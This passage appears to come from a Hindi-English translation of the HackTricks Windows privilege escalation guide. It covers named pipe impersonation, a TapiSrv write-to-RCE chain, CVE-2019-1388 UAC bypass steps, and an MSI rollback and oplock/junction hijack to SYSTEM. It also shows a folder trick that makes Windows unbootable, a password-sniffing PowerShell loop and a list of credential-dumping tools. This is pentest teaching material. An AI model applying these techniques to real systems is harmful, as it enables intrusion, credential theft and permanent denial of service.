फिर, यदि आपके पास low privileged process पर full access है, तो आप OpenProcess() से बनाए गए privileged process के open handle को पकड़कर उसमें shellcode inject कर सकते हैं।
इस उदाहरण को पढ़ें अगर आप जानना चाहते हैं कि किस तरह इस vulnerability का पता लगाना और exploit करना है।
इस दूसरे पोस्ट को भी पढ़ें अगर आप यह अधिक पूर्ण रूप से समझना चाहते हैं कि अलग-अलग permission स्तरों के साथ inherited processes और threads के और open handlers को कैसे टेस्ट और abuse किया जा सकता है (केवल full access ही नहीं).

Named Pipe Client Impersonation

Shared memory segments, जिन्हें सामान्यतः pipes कहा जाता है, प्रक्रिया संचार और डेटा ट्रांसफर की सुविधा देते हैं।

Windows एक फीचर प्रदान करता है जिसे Named Pipes कहा जाता है, जिससे unrelated processes भी डेटा शेयर कर सकते हैं, यहाँ तक कि अलग नेटवर्क्स पर भी। यह एक client/server आर्किटेक्चर जैसा है, जिसमें रोल्स को named pipe server और named pipe client के रूप में परिभाषित किया जाता है।

जब कोई client pipe के माध्यम से डेटा भेजता है, तो वह server जिसने pipe सेट किया है उसके पास client की identity को impersonate करने की क्षमता होती है, यदि उसके पास आवश्यक SeImpersonate rights हैं। किसी विशेषाधिकार प्राप्त प्रक्रिया (privileged process) की पहचान करना जो उस pipe के माध्यम से communicate करती है और जिसे आप mimic कर सकते हैं, आपको उस प्रक्रिया की identity अपनाकर higher privileges हासिल करने का मौका देता है जब वह आपके बनाए गए pipe के साथ interact करे। इस तरह के अटैक को करने के निर्देशों के लिए उपयोगी गाइड यहाँ और यहाँ मिलते हैं।

इसके अलावा निम्न उपकरण एक named pipe संचार को burp जैसे टूल के साथ intercept करने की अनुमति देते हैं: https://github.com/gabriel-sztejnworcel/pipe-intercept और यह टूल सभी pipes को list और देखने की अनुमति देता है ताकि privescs मिल सकें: https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

The Telephony service (TapiSrv) server मोड में \\pipe\\tapsrv (MS-TRP) एक्सपोज़ करता है। एक remote authenticated client mailslot-based async event path का दुरुपयोग करके ClientAttach को किसी भी existing फ़ाइल पर arbitrary 4-byte write में बदल सकता है जिसे NETWORK SERVICE द्वारा write किया जा सकता है, फिर Telephony admin rights हासिल करके arbitrary DLL को service के रूप में load कर सकता है। पूरा फ्लो:

  • ClientAttach में pszDomainUser को एक writable existing path पर सेट करें → service उसे CreateFileW(..., OPEN_EXISTING) के माध्यम से खोलता है और async event writes के लिए इस्तेमाल करता है।
  • प्रत्येक इवेंट attacker-controlled InitContext को Initialize से उस handle पर लिखता है। एक line app को LRegisterRequestRecipient (Req_Func 61) के साथ register करें, TRequestMakeCall (Req_Func 121) को trigger करें, GetAsyncEvents (Req_Func 0) के जरिए fetch करें, फिर repeat करने के लिए unregister/shutdown करें ताकि deterministic writes हों।
  • खुद को C:\\Windows\\TAPI\\tsec.ini में [TapiAdministrators] में जोड़ें, reconnect करें, फिर arbitrary DLL path के साथ GetUIDllName कॉल करें ताकि TSPI_providerUIIdentify NETWORK SERVICE के रूप में execute हो सके।

More details:

Telephony Tapsrv Arbitrary Dword Write To Rce

विविध

File Extensions that could execute stuff in Windows

पेज देखें: https://filesec.io/

Monitoring Command Lines for passwords

जब user के रूप में shell मिलता है, तो हो सकता है कि शेड्यूल किए गए टास्क या अन्य प्रक्रियाएँ चल रही हों जो command line पर credentials पास करती हों। नीचे दी गई स्क्रिप्ट प्रत्येक दो सेकंड में process command lines को capture करती है और वर्तमान स्थिति की तुलना पिछली स्थिति से करती है, और कोई भी अंतर output करती है।

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Stealing passwords from processes

From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

यदि आपके पास graphical interface (console या RDP के माध्यम से) तक पहुँच है और UAC सक्षम है, तो Microsoft Windows के कुछ संस्करणों में एक अनप्रिविलेज्ड उपयोगकर्ता से “NT\AUTHORITY SYSTEM” जैसे टर्मिनल या किसी अन्य प्रक्रिया को चलाना संभव है।

यह एक ही vulnerability के माध्यम से एक ही समय में privileges escalate करने और UAC को bypass करने को संभव बनाता है। इसके अलावा, कुछ भी install करने की आवश्यकता नहीं है और प्रक्रिया में प्रयुक्त binary Microsoft द्वारा signed और issued है।

Some of the affected systems are the following:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

To exploit this vulnerability, निम्नलिखित चरणों का पालन करना आवश्यक है:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

इसे पढ़ें ताकि आप Integrity Levels के बारे में जान सकें:

Integrity Levels

फिर इसे पढ़ें ताकि आप UAC और UAC bypasses के बारे में जान सकें:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

The technique described in this blog post with a exploit code available here.

ऐटैक बुनियादी तौर पर Windows Installer के rollback feature का दुरुपयोग करके अनइंस्टॉलेशन प्रक्रिया के दौरान वैध फ़ाइलों को malicious फ़ाइलों से बदलने पर केंद्रित है। इसके लिए attacker को एक malicious MSI installer बनाना होता है जो C:\Config.Msi फ़ोल्डर को hijack करने के काम आएगा, जिसे बाद में Windows Installer अन्य MSI packages को अनइंस्टॉल करते समय rollback files स्टोर करने के लिए उपयोग करेगा — जहाँ rollback files को malicious payload के साथ बदल दिया जाएगा।

संक्षेप में तकनीक निम्नलिखित है:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

  • Step 1: Install the MSI

  • Create an .msi that installs a harmless file (e.g., dummy.txt) in a writable folder (TARGETDIR).

  • Mark the installer as “UAC Compliant”, so a non-admin user can run it.

  • Keep a handle open to the file after install.

  • Step 2: Begin Uninstall

  • Uninstall the same .msi.

  • The uninstall process starts moving files to C:\Config.Msi and renaming them to .rbf files (rollback backups).

  • Poll the open file handle using GetFinalPathNameByHandle to detect when the file becomes C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • The .msi includes a custom uninstall action (SyncOnRbfWritten) that:

  • Signals when .rbf has been written.

  • Then waits on another event before continuing the uninstall.

  • Step 4: Block Deletion of .rbf

  • When signaled, open the .rbf file without FILE_SHARE_DELETE — this prevents it from being deleted.

  • Then signal back so the uninstall can finish.

  • Windows Installer fails to delete the .rbf, and because it can’t delete all contents, C:\Config.Msi is not removed.

  • Step 5: Manually Delete .rbf

  • You (attacker) delete the .rbf file manually.

  • Now C:\Config.Msi is empty, ready to be hijacked.

At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Recreate the C:\Config.Msi folder yourself.

  • Set weak DACLs (e.g., Everyone:F), and keep a handle open with WRITE_DAC.

  • Step 7: Run Another Install

  • Install the .msi again, with:

  • TARGETDIR: Writable location.

  • ERROROUT: A variable that triggers a forced failure.

  • This install will be used to trigger rollback again, which reads .rbs and .rbf.

  • Step 8: Monitor for .rbs

  • Use ReadDirectoryChangesW to monitor C:\Config.Msi until a new .rbs appears.

  • Capture its filename.

  • Step 9: Sync Before Rollback

  • The .msi contains a custom install action (SyncBeforeRollback) that:

  • Signals an event when the .rbs is created.

  • Then waits before continuing.

  • Step 10: Reapply Weak ACL

  • After receiving the .rbs created event:

  • The Windows Installer reapplies strong ACLs to C:\Config.Msi.

  • But since you still have a handle with WRITE_DAC, you can reapply weak ACLs again.

ACLs are only enforced on handle open, so you can still write to the folder.

  • Step 11: Drop Fake .rbs and .rbf

  • Overwrite the .rbs file with a fake rollback script that tells Windows to:

  • Restore your .rbf file (malicious DLL) into a privileged location (e.g., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Drop your fake .rbf containing a malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Signal the sync event so the installer resumes.

  • A type 19 custom action (ErrorOut) is configured to intentionally fail the install at a known point.

  • This causes rollback to begin.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Reads your malicious .rbs.

  • Copies your .rbf DLL into the target location.

  • You now have your malicious DLL in a SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Run a trusted auto-elevated binary (e.g., osk.exe) that loads the DLL you hijacked.

  • Boom: Your code is executed as SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

The main MSI rollback technique (the previous one) assumes you can delete an entire folder (e.g., C:\Config.Msi). But what if your vulnerability only allows arbitrary file deletion ?

You could exploit NTFS internals: every folder has a hidden alternate data stream called:

C:\SomeFolder::$INDEX_ALLOCATION

यह stream फ़ोल्डर का index metadata संग्रहीत करता है।

इसलिए, अगर आप ::$INDEX_ALLOCATION stream को डिलीट करते हैं, तो NTFS फ़ाइल सिस्टम से पूरा फ़ोल्डर हटा देता है।

आप यह मानक file deletion APIs का उपयोग करके कर सकते हैं, जैसे:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

यद्यपि आप file delete API को कॉल कर रहे हैं, यह खुद फ़ोल्डर को हटा देता है।

फ़ोल्डर की सामग्री हटाने से SYSTEM EoP तक

अगर आपका primitive आपको arbitrary files/folders को हटाने की अनुमति नहीं देता, लेकिन यह attacker-controlled फ़ोल्डर की contents को हटाने की अनुमति देता है तो क्या होगा?

  1. Step 1: एक bait फ़ोल्डर और फ़ाइल सेटअप करें
  • बनाएँ: C:\temp\folder1
  • इसके अंदर: C:\temp\folder1\file1.txt
  1. Step 2: file1.txt पर एक oplock लगाएँ
  • जब कोई privileged process file1.txt को delete करने की कोशिश करता है तो oplock execution को pause कर देता है।
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Step 3: SYSTEM process को ट्रिगर करें (उदा., SilentCleanup)
  • यह process फ़ोल्डर्स को स्कैन करता है (उदा., %TEMP%) और उनकी सामग्री को हटाने की कोशिश करता है।
  • जब यह file1.txt तक पहुँचता है, तो oplock triggers और नियंत्रण आपके callback को सौंप दिया जाता है।
  1. Step 4: oplock callback के अंदर – deletion को redirect करें

  • Option A: file1.txt को दूसरी जगह मूव करें

  • इससे folder1 खाली हो जाएगा बिना oplock को तोड़े।

  • सीधे file1.txt को delete न करें — इससे oplock समय से पहले रिलीज़ हो जाएगा।

  • Option B: folder1 को एक junction में बदलें:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • विकल्प C: \RPC Control में एक symlink बनाएँ:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

यह NTFS internal stream को लक्षित करता है जो फ़ोल्डर मेटाडेटा को स्टोर करता है — इसे हटाने से फ़ोल्डर हट जाता है।

  1. Step 5: Release the oplock
  • SYSTEM process जारी रहता है और file1.txt को हटाने की कोशिश करता है।
  • लेकिन अब, junction + symlink के कारण, यह वास्तव में हटा रहा है:
C:\Config.Msi::$INDEX_ALLOCATION

परिणाम: C:\Config.Msi को SYSTEM द्वारा हटा दिया जाता है।

From Arbitrary Folder Create to Permanent DoS

Exploit एक primitive जो आपको create an arbitrary folder as SYSTEM/admin की अनुमति देता है — भले ही you can’t write files या set weak permissions।

एक folder (not a file) बनायें जिसका नाम किसी critical Windows driver के समान हो, e.g.:

C:\Windows\System32\cng.sys
  • यह पथ सामान्यतः cng.sys kernel-mode driver के अनुरूप होता है।
  • यदि आप इसे folder के रूप में पहले बना देते हैं, तो Windows boot पर वास्तविक driver को load करने में विफल रहता है।
  • फिर, Windows boot के दौरान cng.sys को load करने की कोशिश करता है।
  • यह folder देखता है, वास्तविक driver को resolve करने में विफल रहता है, और crash या boot रुक जाता है।
  • कोई fallback नहीं है, और बाहरी हस्तक्षेप (e.g., boot repair या disk access) के बिना कोई recovery नहीं है।

High Integrity से SYSTEM तक

New service

यदि आप पहले से ही High Integrity process पर चल रहे हैं, तो SYSTEM तक का path बस नया service बनाकर और execute करके आसान हो सकता है:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

जब सर्विस बाइनरी बना रहे हों तो सुनिश्चित करें कि यह एक वैध सर्विस है या बाइनरी आवश्यक क्रियाएँ करे, क्योंकि यदि यह वैध सर्विस नहीं है तो इसे 20s में बंद कर दिया जाएगा।

AlwaysInstallElevated

High Integrity process से आप enable the AlwaysInstallElevated registry entries और .msi wrapper का उपयोग करके एक reverse shell install करने की कोशिश कर सकते हैं।
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

आप find the code here.

From SeDebug + SeImpersonate to Full Token privileges

यदि आपके पास वे token privileges हैं (संभवतः आप इन्हें पहले से मौजूद High Integrity process में पाएँगे), तो आप SeDebug privilege के साथ लगभग किसी भी process को खोल सकेंगे (not protected processes), उस process का token copy the token कर सकेंगे, और उस token के साथ कोई भी arbitrary process बना सकेंगे।
इस तकनीक का उपयोग आमतौर पर SYSTEM के रूप में चल रहे किसी process को चुनने के लिए किया जाता है जिसमें सभी token privileges हों (yes, you can find SYSTEM processes without all the token privileges)।
आप example of code executing the proposed technique here.

Named Pipes

यह तकनीक meterpreter द्वारा getsystem में escalate करने के लिए उपयोग की जाती है। तकनीक में creating a pipe and then create/abuse a service to write on that pipe शामिल है। फिर, वह server जिसने pipe बनाया और SeImpersonate privilege का उपयोग किया होगा, pipe client (service) के token को impersonate the token करके SYSTEM privileges प्राप्त कर सकेगा।
यदि आप learn more about name pipes you should read this।
यदि आप how to go from high integrity to System using name pipes you should read this का उदाहरण पढ़ना चाहते हैं तो वह यहाँ है।

Dll Hijacking

यदि आप किसी dll को hijack करने में सफल होते हैं जो loaded हो रही हो किसी process में जो SYSTEM के रूप में चल रही हो, तो आप उन permissions के साथ arbitrary code execute कर पाएँगे। इसलिए Dll Hijacking इस तरह की privilege escalation के लिए उपयोगी है, और ऊपर से, इसे high integrity process से हासिल करना बहुत अधिक आसान होता है क्योंकि उस प्रक्रिया के पास dlls को load करने वाले फोल्डरों पर write permissions होते हैं।
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Windows local privilege escalation vectors खोजने के लिए सबसे अच्छा टूल: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – गलत कॉन्फ़िगरेशन और संवेदनशील फ़ाइलों की जाँच करें (check here). Detected.
JAWS – कुछ संभावित misconfigurations की जाँच और जानकारी इकट्ठा करें (check here).
privesc – misconfigurations की जाँच करें
SessionGopher – यह PuTTY, WinSCP, SuperPuTTY, FileZilla, और RDP saved session जानकारी निकालता है। स्थानीय रूप में -Thorough उपयोग करें।
Invoke-WCMDump – Credential Manager से credentials निकालता है। Detected.
DomainPasswordSpray – इकठ्ठा किए गए पासवर्डों को domain पर spray करें
Inveigh – Inveigh एक PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer और man-in-the-middle टूल है।
WindowsEnum – बेसिक privesc Windows enumeration
Sherlock ~~~~ – ज्ञात privesc vulnerabilities खोजें (DEPRECATED for Watson)
WINspect – Local checks (Admin rights आवश्यक)

Exe

Watson – ज्ञात privesc vulnerabilities खोजें (VisualStudio का उपयोग करके compile करने की आवश्यकता) (precompiled)
SeatBelt – host को enumerate करता है और misconfigurations खोजता है (ज्यादा एक gather info tool, privesc से कम) (compile करने की आवश्यकता) (precompiled)
LaZagne – कई softwares से credentials निकालता है (github में precompiled exe मौजूद है)
SharpUP – PowerUp का C# पोर्ट
Beroot ~~~~ – misconfiguration की जाँच (executable github में precompiled). अनुशंसित नहीं। यह Win10 में अच्छा काम नहीं करता।
Windows-Privesc-Check – संभावित misconfigurations की जाँच (python से exe). अनुशंसित नहीं। यह Win10 में अच्छा काम नहीं करता।

Bat

winPEASbat – इस पोस्ट के आधार पर बनाया गया टूल (इसे proper तरीके से चलाने के लिए accesschk की आवश्यकता नहीं होती, पर यह इसका इस्तेमाल कर सकता है).

Local

Windows-Exploit-Suggester – systeminfo के आउटपुट को पढ़ता है और काम करने वाले exploits सुझाता है (local python)
Windows Exploit Suggester Next Generation – systeminfo के आउटपुट को पढ़ता है और काम करने वाले exploits सुझाता है (local python)

Meterpreter

multi/recon/local_exploit_suggestor

आपको प्रोजेक्ट को सही .NET वर्शन के साथ compile करना होगा (see this). लक्षित होस्ट पर इंस्टॉल किया गया .NET वर्शन देखने के लिए आप कर सकते हैं:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें